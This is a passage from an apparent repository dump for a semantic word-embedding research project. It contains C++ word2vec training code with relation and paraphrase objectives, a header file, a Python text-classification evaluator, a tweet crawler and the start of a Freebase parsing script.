+= g * syn1neg[l2 + c];\n //update e{t}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + l2] += g * neu1[c];\n //syn1neg[c + l2] += g * neu1[c];\n }\n }\n // update e{h} and e{r}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + head_id * layer1_size] += neu1e[c];\n syn0[c + relation_id * layer1_size] += neu1e[c];\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\n }\n }\n }\n }\n }\n sentence_position++;\n if (sentence_position >= sentence_length) {\n sentence_length = 0;\n continue;\n }\n }\n //if((ep + 1) % 10 == 0 && id == 0) if (ppeval != NULL)\n //{\n ////evaluateMRRout(10000, ppeval);\n //}\n }\n\n fclose(fi);\n free(neu1);\n free(neu1e);\n // pthread_exit(NULL);\n return 0;\n}\n\nvoid *TrainPPDBVectorThread(void *id) {\n long long d, word, last_word;\n long long word_count = 0;\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n word2int::iterator it;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n long long train_words_total = epochs * pp->ppdict.size();\n pp_count_actual = epochs * pp->ppdict.size();\n word_count = 0;\n for (int ep = 0; ep < epochs; ep++) {\n //cout << ep << endl;\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n //fprintf(fo, \"%s\\n\", iter_pair->first.c_str());\n word = SearchVocab((char*)iter_pair->first.c_str());\n if (word == -1) continue;\n //cout << vocab[word].word << \" \";\n\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n }\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n }\n //cout << endl;\n word_count++;\n if (word_count % 5000 == 0) { //todo: shrink learning rate\n now=clock();\n printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n word_count / (real)(train_words_total + 1) * 100,\n word_count / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n lambda = starting_lambda * (1 - word_count / (real)(train_words_total + 1));\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n }\n }\n if((ep + 1) % 10 == 0) if (ppeval != NULL)\n {\n //evaluateMRRout(10000, ppeval);\n }\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n //b = next_random % window;\n }\n //fclose(fi);\n //fclose(fo);\n free(neu1);\n pthread_exit(NULL);\n}\n\nvoid *TrainPPDBVectorThreadNew(void *id) {\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);\n long long d, word, last_word;\n long long word_count = 0, last_word_count = 0;\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n word2int::iterator it;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n long long train_words_total = epochs * pp->ppdict.size();\n long long begin = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id - num_threads);\n long long end = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id + 1 - num_threads);\n if ((long long)id == num_threads + num_thread_pmm - 1) end = (long long)pp->ppdict.size();\n //pp_count_actual = epochs * pp->ppdict.size();\n\n long long* wordIds = (long long*)calloc(pp->ppdict.size(), sizeof(long long));\n string* wordList = new string[pp->ppdict.size()];\n int i = 0;\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n word = SearchVocab((char*)iter_pair->first.c_str());\n wordList[i] = iter_pair->first;\n wordIds[i++] = word;\n }\n for (int ep = 0; ep < epochs; ep++) {\n //cout << ep << endl;\n for (i = begin; i < end; i++) {\n //for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n word = wordIds[i];\n //word = SearchVocab((char*)wordList[i].c_str());\n if (word == -1) continue;\n //cout << vocab[word].word << \" \";\n\n word2dict::iterator iter_pair = pp->ppdict.find(wordList[i]);\n\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_testcancel();/*the thread can be killed only here*/\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n }\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n }\n //cout << endl;\n word_count++;\n if ((word_count - last_word_count) % 5000 == 0) { //todo: shrink learning rate\n pp_count_actual += word_count - last_word_count;\n now=clock();\n printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n pp_count_actual / (real)(train_words_total + 1) * 100,\n pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n lambda = starting_lambda * (1 - pp_count_actual / (real)(train_words_total + 1));\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n word_count = last_word_count;\n }\n }\n if((ep + 1) % 10 == 0 && (((ep + 1) / 10)) % num_thread_pmm == ((long long)id - num_threads) ) if (ppeval != NULL)\n {\n //evaluateMRRout(10000, ppeval);\n }\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n //b = next_random % window;\n }\n //fclose(fi);\n //fclose(fo);\n free(wordIds);\n free(neu1);\n delete [] wordList;\n pthread_exit(NULL);\n}\n\nint LoadEmb(string modelname) {\n long long words, size, a, b;\n char ch;\n FILE *f = fopen(modelname.c_str(), \"rb\");\n if (f == NULL) {\n printf(\"Input file not found\\n\");\n return -1;\n }\n\n fscanf(f, \"%lld\", &words);\n fscanf(f, \"%lld\", &size);\n if (size != layer1_size) {\n printf(\"inconsistent dimensions \\n\");\n exit(-1);\n }\n //syn1neg = (float *)malloc(words * size * sizeof(float));\n if (syn1neg == NULL) {\n printf(\"Cannot allocate memory: %lld MB\\n\", words * size * sizeof(float) / 1048576);\n return -1;\n }\n\n char tmpword[max_w];\n int count; char ch2;\n for (b = 0; b < words; b++) {\n fscanf(f, \"%s%c%d%c\", tmpword, &ch, &count, &ch2);\n //fscanf(f, \"%s%c\", tmpword, &ch);\n int id = SearchVocab(tmpword);\n if (id == -1) continue;\n\n for (a = 0; a < size; a++) fread(&syn1neg[a + id * size], sizeof(float), 1, f);\n //for (a = 0; a < size; a++) fread(&syn1neg[a + b * size], sizeof(float), 1, f);\n }\n fclose(f);\n\n return 0;\n}\n\nvoid TrainModel() {\n long a, b;\n FILE *fo;\n //pthread_t *pt = (pthread_t *)malloc((num_threads + num_thread_pmm) * sizeof(pthread_t));\n printf(\"Starting training using file %s\\n\", train_file);\n starting_alpha = alpha;\n starting_lambda = lambda;\n if (read_vocab_file[0] != 0) ReadVocab(); else LearnVocabFromTrainFile();\n // RelationData Test\n //if (rdata) {\n //for (auto &relation_word : rdata->relations) {\n //int i = SearchVocab(relation_word.first.c_str());\n //if (i == -1) {\n //cout << relation_word.first << \" not exist.\" << endl;\n //} else\n //cout << relation_word.first << \":\" << vocab[i].cn << endl;\n //}\n //}\n //exit(1);\n // RelationalData End\n if (save_vocab_file[0] != 0) SaveVocab();\n if (output_file[0] == 0) return;\n InitNet();\n if (negative > 0) InitUnigramTable();\n start = clock();\n BuildUpperDict();\n //evaluateMRRout(10000, ppeval);\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegThread, (void *)a);\n// for (int ep = 0; ep < epochs; ep++) {\n// //TrainModelRegNCEThread(0);\n\n //TEST\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegNCEThread, (void *)a);\n //a = num_threads;\n TrainModelRegNCEThread(0);\n TrainRelationVectorThread(0);\n //TEST end\n //pthread_create(&pt[0], NULL, TrainModelRegNCEThread, (void *)0);\n //pthread_create(&pt[num_threads], NULL, TrainPPDBVectorThread, (void *)a);\n\n //TEST\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThreadNew, (void *)a);\n //for (a = 0; a < num_threads; a++) pthread_join(pt[a], NULL);\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_cancel(pt[a]);\n //TEST End\n\n// }\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThread, (void *)a);\n //TrainPPDBVectorThread(0);\n //TrainModelRegNCEThread(0);\n\n fo = fopen(output_file, \"wb\");\n printf(\"\\n\\nwrite to file:%s\\n\", output_file);\n if (classes == 0) {\n // Save the word vectors\n fprintf(fo, \"%lld %lld\\n\", vocab_size, layer1_size);\n for (a = 0; a < vocab_size; a++) {\n //fprintf(fo, \"%s %d \", vocab[a].word, vocab[a].cn);\n fprintf(fo, \"%s \", vocab[a].word);\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn0[a * layer1_size + b], sizeof(real), 1, fo);\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \"%lf \", syn0[a * layer1_size + b]);\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn1neg[a * layer1_size + b], sizeof(real), 1, fo);\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \"%lf \", syn1neg[a * layer1_size + b]);\n fprintf(fo, \"\\n\");\n }\n }\n fclose(fo);\n}\n\nint ArgPos(char *str, int argc, char **argv) {\n int a;\n for (a = 1; a < argc; a++) if (!strcmp(str, argv[a])) {\n if (a == argc - 1) {\n printf(\"Argument missing for %s\\n\", str);\n exit(1);\n }\n return a;\n }\n return -1;\n}\n\nint main(int argc, char **argv) {\n //pp = new Paraphrase(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.test\");\n //pp = new Paraphrase(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.wordlist100\");\n //evaluate(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/vectors.wordlist100.bin\", 10000, pp);\n //evaluateMRR(\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/vector.wordlist100.reg\", 10000, pp);\n //return 0;\n int i;\n output_file[0] = 0;\n save_vocab_file[0] = 0;\n read_vocab_file[0] = 0;\n reg_in = 0;\n reg_out = 1;\n if (argc != 1) {\n if ((i = ArgPos((char *)\"-size\", argc, argv)) > 0) layer1_size = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-epochs\", argc, argv)) > 0) epochs = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-train\", argc, argv)) > 0) strcpy(train_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-train2\", argc, argv)) > 0) strcpy(train_file2, argv[i + 1]);\n if ((i = ArgPos((char *)\"-save-vocab\", argc, argv)) > 0) strcpy(save_vocab_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-read-vocab\", argc, argv)) > 0) strcpy(read_vocab_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-debug\", argc, argv)) > 0) debug_mode = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-binary\", argc, argv)) > 0) binary = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-cbow\", argc, argv)) > 0) cbow = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-alpha\", argc, argv)) > 0) alpha = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-output\", argc, argv)) > 0) strcpy(output_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-window\", argc, argv)) > 0) window = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-sample\", argc, argv)) > 0) sample = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-hs\", argc, argv)) > 0) hs = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-negative\", argc, argv)) > 0) negative = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-weight-tying\", argc, argv)) > 0) weight_tying = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-threads\", argc, argv)) > 0) num_threads = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-thread-pmm\", argc, argv)) > 0) num_thread_pmm = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-min-count\", argc, argv)) > 0) min_count = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-classes\", argc, argv)) > 0) classes = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-regin\", argc, argv)) > 0) reg_in = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-regout\", argc, argv)) > 0) reg_out = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-ppfile\", argc, argv)) > 0) strcpy(pp_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-lambda\", argc, argv)) > 0) lambda = atof(argv[i + 1]);\n if ((i = ArgPos((char *)\"-semdim\", argc, argv)) > 0) sem_dim = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-word2vec\", argc, argv)) > 0) word2vec = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-pretrain\", argc, argv)) > 0) pretrain = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-pretrain-file\", argc, argv)) > 0) strcpy(pretrain_file, argv[i + 1]);\n }\n else{\n printf(\"WORD VECTOR estimation toolkit v 0.1b\\n\\n\");\n printf(\"Options:\\n\");\n printf(\"Parameters for training:\\n\");\n printf(\"\\t-train <file>\\n\");\n printf(\"\\t\\tUse text data from <file> to train the model\\n\");\n printf(\"\\t-output <file>\\n\");\n printf(\"\\t\\tUse <file> to save the resulting word vectors / word clusters\\n\");\n printf(\"\\t-size <int>\\n\");\n printf(\"\\t\\tSet size of word vectors; default is 100\\n\");\n printf(\"\\t-window <int>\\n\");\n printf(\"\\t\\tSet max skip length between words; default is 5\\n\");\n printf(\"\\t-sample <float>\\n\");\n printf(\"\\t\\tSet threshold for occurrence of words. Those that appear with higher frequency\");\n printf(\" in the training data will be randomly down-sampled; default is 0 (off), useful value is 1e-5\\n\");\n printf(\"\\t-hs <int>\\n\");\n printf(\"\\t\\tUse Hierarchical Softmax; default is 1 (0 = not used)\\n\");\n printf(\"\\t-negative <int>\\n\");\n printf(\"\\t\\tNumber of negative examples; default is 0, common values are 5 - 10 (0 = not used)\\n\");\n printf(\"\\t-threads <int>\\n\");\n printf(\"\\t\\tUse <int> threads (default 1)\\n\");\n printf(\"\\t-min-count <int>\\n\");\n printf(\"\\t\\tThis will discard words that appear less than <int> times; default is 5\\n\");\n printf(\"\\t-alpha <float>\\n\");\n printf(\"\\t\\tSet the starting learning rate; default is 0.025\\n\");\n printf(\"\\t-classes <int>\\n\");\n printf(\"\\t\\tOutput word classes rather than word vectors; default number of classes is 0 (vectors are written)\\n\");\n printf(\"\\t-debug <int>\\n\");\n printf(\"\\t\\tSet the debug mode (default = 2 = more info during training)\\n\");\n printf(\"\\t-binary <int>\\n\");\n printf(\"\\t\\tSave the resulting vectors in binary moded; default is 0 (off)\\n\");\n printf(\"\\t-save-vocab <file>\\n\");\n printf(\"\\t\\tThe vocabulary will be saved to <file>\\n\");\n printf(\"\\t-read-vocab <file>\\n\");\n printf(\"\\t\\tThe vocabulary will be read from <file>, not constructed from the training data\\n\");\n printf(\"\\t-cbow <int>\\n\");\n printf(\"\\t\\tUse the continuous bag of words model; default is 0 (skip-gram model)\\n\");\n printf(\"\\nExamples:\\n\");\n printf(\"./word2vec -train data.txt -output vec.txt -debug 2 -size 200 -window 5 -sample 1e-4 -negative 5 -hs 0 -binary 0 -cbow 1\\n\\n\");\n\n //fileconfig\n strcpy(train_file, \"../../paper/data/wiki/wiki_corpus_small\");\n strcpy(output_file, \"../../paper/data/srwe_model/wiki_small.w2v.r.0.00001.update_word.train_relation.model\");\n strcpy(pp_file, \"../../paper/data/srwe_model/semantic_pair\");\n strcpy(relational_file, \"../../paper/data/srwe_model/freebase.100.relation.train\");\n use_relational = 1;\n use_pp = 1;\n cbow = 1;\n layer1_size = 100;\n window = 5;\n negative = 5;\n hs = 0;\n sample = 1e-4;\n num_threads = 1;\n num_thread_pmm = 1;\n binary = 0;\n lambda = 0.00005;\n gamma_value = 0.00001;\n\n weight_tying = 0;\n reg_in = 1;\n reg_out = 1;\n word2vec = 1;\n pretrain = 0;\n epochs = 300;\n }\n\n if (sem_dim == 0) {\n sem_dim = layer1_size;\n }\n pp_count_actual = 0;\n vocab = (struct vocab_word *)calloc(vocab_max_size, sizeof(struct vocab_word));\n vocab_hash = (int *)calloc(vocab_hash_size, sizeof(int));\n expTable = (real *)malloc((EXP_TABLE_SIZE + 1) * sizeof(real));\n for (i = 0; i < EXP_TABLE_SIZE; i++) {\n expTable[i] = exp((i / (real)EXP_TABLE_SIZE * 2 - 1) * MAX_EXP); // Precompute the exp() table\n expTable[i] = expTable[i] / (expTable[i] + 1); // Precompute f(x) = x / (x + 1)\n }\n pp = new Paraphrase2(pp_file);\n cout << \"pp.size:\" << pp->ppdict.size() << endl;\n ppeval = NULL;\n rdata = new RelationalData(string(relational_file));\n TrainModel();\n cout << endl;\n cout << alpha << endl;\n cout << word_count_actual << endl;\n cout << \"lambda:\" << lambda << endl;\n cout << pp_count_actual << endl;\n delete pp;\n pp = NULL;\n return 0;\n}\n" }, { "alpha_fraction": 0.6356382966041565, "alphanum_fraction": 0.6578013896942139, "avg_line_length": 17.491804122924805, "blob_id": "7513263887740a111d4a041e742c8c075b7e33d7", "content_id": "60b3519e67ebfd1095543530eecfa13543505193", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1130, "license_type": "no_license", "max_line_length": 67, "num_lines": 61, "path": "/src/Paraphrase.h", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "//\n// Paraphrase.h\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n#ifndef word2vec_Paraphrase_h\n#define word2vec_Paraphrase_h\n\n#include <tr1/unordered_map>\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include <string.h>\n\nusing namespace std;\n\ntypedef std::tr1::unordered_map<string, vector<string> > word2list;\ntypedef std::tr1::unordered_map<string, int> word2int;\ntypedef std::tr1::unordered_map<string, word2int> word2dict;\n\nclass Paraphrase2\n{\npublic:\n word2dict ppdict;\n \n Paraphrase2(string filename)\n {\n InitDict(filename);\n }\n \n void InitDict(string filename);\n \n void GetList(string word, vector<string>& pplist);\n void GetDict(vector<string>& keys);\n};\n\nclass Paraphrase\n{\n public:\n word2list pplist;\n \n Paraphrase(string filename)\n {\n InitList(filename);\n }\n \n Paraphrase(Paraphrase2* ppdict)\n {\n \n }\n \n void InitList(string filename);\n \n //vector<string>* GetList(string word);\n void GetList(string word, vector<string>& retlist);\n};\n\n#endif\n" }, { "alpha_fraction": 0.6248149871826172, "alphanum_fraction": 0.6356684565544128, "avg_line_length": 39.93939208984375, "blob_id": "b9bd8cfababff8f67342310c25f044a23e23a9f7", "content_id": "56caeaf580a76346d9cfe2ebba2ed68c254711f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4054, "license_type": "no_license", "max_line_length": 137, "num_lines": 99, "path": "/evaluation/text_classification.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append('../src')\nfrom utils import load_w2v_model\nfrom collections import defaultdict\nimport numpy as np\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import precision_recall_fscore_support\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nenglish_stopwords = stopwords.words('english')\nenglish_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%']\nwords_to_remove = english_stopwords + english_punctuations\n\ndef clean_text(text):\n return [word.lower() for word in word_tokenize(text) if word not in words_to_remove]\n\ndef get_vec_from_words(words, model, d):\n vec_sum = np.zeros(d)\n for word in words:\n if word in model:\n vec_sum += model[word]\n return vec_sum\n\ndef get_vec_len(model):\n vec_len = 0\n for each in model:\n vec_len = len(model[each])\n break\n return vec_len\n\ndef load_nytimes(filename, model):\n d = get_vec_len(model)\n corpus_vec = []\n corpus_label = []\n line_count = 0\n with open(filename) as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n corpus_vec.append(get_vec_from_words(clean_text(arr[0].decode('utf-8')), model, d))\n corpus_label.append(arr[1])\n if line_count % 50000 == 0:\n logging.info('loading nytimes... %d' % line_count)\n line_count += 1\n return np.array(corpus_vec), corpus_label\n\ndef transfer_label(labels, target):\n res = [1 if x == target else 0 for x in labels]\n return np.array(res)\n\ndef train(label, X_train, X_test, y_train, y_test):\n logging.info('training %s' % label)\n y_train_label = transfer_label(y_train, label)\n y_test_label = transfer_label(y_test, label)\n clf = LogisticRegression()\n clf.fit(X_train, y_train_label)\n ans = clf.predict_proba(X_test[0].reshape(1, -1))\n #print clf.classes_\n #print type(ans)\n #print ans\n return clf\n #acc = clf.score(X_test, y_test_label)\n #logging.info('%s acc:%lf' % (label, acc))\n #y_pred = clf.predict(X_test)\n #precision, recall, f_score, support = precision_recall_fscore_support(y_test_label, y_pred, average='binary')\n #logging.info('%s,length:%d,precision:%.4lf,recall:%.4lf,f_score:%.4lf' % (label, y_test_label.shape[0], precision, recall, f_score))\n\ndef main():\n model_file = '../../paper/data/srwe_model/wiki_small.w2v.model'\n nytimes_file = '../gen_data/nytimes/news_corpus'\n model = load_w2v_model(model_file, logging, nparray=True)\n corpus_vec, corpus_label = load_nytimes(nytimes_file, model)\n labels = list(set(corpus_label))\n X_train, X_test, y_train, y_test = train_test_split(corpus_vec, corpus_label, test_size=0.2, random_state=42)\n logging.info('train size: %d, test size:%d' % (len(y_train), len(y_test)))\n clfs = {}\n for label in labels:\n clfs[label] = train(label, X_train, X_test, y_train, y_test)\n\n y_pred = []\n for each in X_test:\n pred_res = []\n for label in clfs:\n pred_res.append((clfs[label].predict_proba(each.reshape(1, -1))[0][1], label))\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\n y_pred.append(sorted_pred[0][1])\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred)\n for l, p, r, f in zip(present_labels, precision, recall, f_score):\n print '%s\\t%.4lf\\t%.4lf\\t%.4lf' % (l, p, r, f)\n\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='macro')\n print 'Macro\\t%.4lf\\t%.4lf\\t%.4lf' % (precision, recall, f_score)\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='micro')\n print 'Micro\\t%.4lf\\t%.4lf\\t%.4lf' % (precision, recall, f_score)\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.5619403123855591, "alphanum_fraction": 0.5738806128501892, "avg_line_length": 33.79220962524414, "blob_id": "d083807b8756abab2d4fc397b7d97664125c1a80", "content_id": "7994d19eec351f6768c17445b585c5fb5602d277", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2680, "license_type": "no_license", "max_line_length": 115, "num_lines": 77, "path": "/gen_data/twitter/crawler_twitter.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import lxml.html as H\nimport urllib\nimport socket\nsocket.setdefaulttimeout(10)\nimport json\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom multiprocessing import Process\n\nXPATH_INITDATA = '//p[@class=\"TweetTextSize TweetTextSize--26px js-tweet-text tweet-text\"]'\n\ndef get_tweet(uid, sid):\n f = urllib.urlopen(\"https://twitter.com/%s/status/%s\" % (uid, sid))\n page = H.document_fromstring(f.read())\n node = page.xpath(XPATH_INITDATA)\n if len(node) != 1: return None\n return node[0].text_content()\n #data = json.loads(node[0].value)\n #if u'initialState' not in data or u'title' not in data[u'initialState']: return None\n #return data[u'initialState'][u'title']\n\ndef work_process(_id, begin, end, filename):\n logging.info('process %d start' % _id)\n fout = file('../tweets/part_%d.res' % _id, 'w')\n ferr = file('../tweets/part_%d.err' % _id, 'w')\n line_count = 0\n process_line = 0\n with open(filename) as fin:\n for line in fin:\n line_count += 1\n if line_count < begin: continue\n if line_count >= end: break\n process_line += 1\n if process_line % 10 == 0:\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\n sid, uid, md5, topic = line.strip().split('\\t')\n try:\n tweet = get_tweet(uid, sid)\n if tweet:\n fout.write('%s\\t%s\\t%s\\t%s\\n' % (sid, uid, topic, tweet.encode('utf-8')))\n fout.flush()\n except Exception, e:\n logging.info('process:%d\\tline:%d\\terr:%s' % (_id, line_count, str(e)))\n ferr.write('%s' % line)\n ferr.flush()\n fout.close()\n ferr.close()\n logging.info('process:%d finish' % _id)\n\ndef get_line_count(filename):\n logging.info('getting line count')\n count = 0\n with open(filename) as fin:\n for line in fin:\n count += 1\n return count\n\ndef main():\n filename = '../../../paper/data/twitter/ODPtweets-Mar17-29.tsv'\n total = get_line_count(filename)\n logging.info('%s:line_count:%d' % (filename, total))\n process_nums = 5\n size = total / process_nums\n seg_info = [0]\n for i in range(process_nums - 1):\n seg_info.append(seg_info[-1] + size)\n seg_info.append(total)\n processes = []\n for i in range(process_nums):\n processes.append(Process(target=work_process, args=(i, seg_info[i], seg_info[i + 1], filename, )))\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n\nif __name__ == '__main__':\n main()\n\n" }, { "alpha_fraction": 0.4997994899749756, "alphanum_fraction": 0.5173105001449585, "avg_line_length": 33.15981674194336, "blob_id": "f8f348c576cacb6a892eb5de8631a106d3f09617", "content_id": "397c37d566ef9a63cdf28e4c69673d86143ae2c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7481, "license_type": "no_license", "max_line_length": 161, "num_lines": 219, "path": "/gen_data/parse_freebase_.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import gzip\nimport sys\nsys.path.append('../src')\nimport datetime\nimport re\nfrom utils import is_version, load_wiki_dict\nimport os\n\ndef log(logstr, writer = sys.stdout, inline = False):\n writer.write(\"%s\\t%s%s\" % (str(datetime.datetime.now()), logstr, '\\r' if inline else '\\n'))\n writer.flush()\n\ndef clean_tag():\n fout = file('../../paper/data/freebase/instance.all.clean', 'w')\n ferr = file('../../paper/data/freebase/instance.all.err', 'w')\n relation = 'type.type.instance>'\n ns_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\n count = 1\n with open('../../paper/data/freebase/instance.all.tag') as fin:\n for line in fin:\n arr = line.strip().split('\\t')\n if len(arr) != 4 or not arr[1].endswith(relation):\n ferr.write('%s\\n' % line)\n continue\n topic = ns_pattern.search(arr[0]).groups()[0]\n mid = ns_pattern.search(arr[2]).groups()[0]\n fout.write('%s\\t%s\\n' % (topic, mid))\n if count % 100000 == 0:\n log(count)\n count += 1\n fout.close()\n\ndef extract_instance():\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\n fout = file('../../paper/data/freebase/os_extract', 'w')\n\n relation = 'type.type.instance'\n\n count = 0\n total = 0\n for line in fin:\n if relation in line:\n fout.write('%s' % line)\n count += 1\n if total % 1000000 == 0:\n log('total:%d, count:%d' % (total, count))\n total += 1\n fout.close()\n log('total:%d, count:%d' % (total, count))\n\ndef filter_name():\n name_pattern = 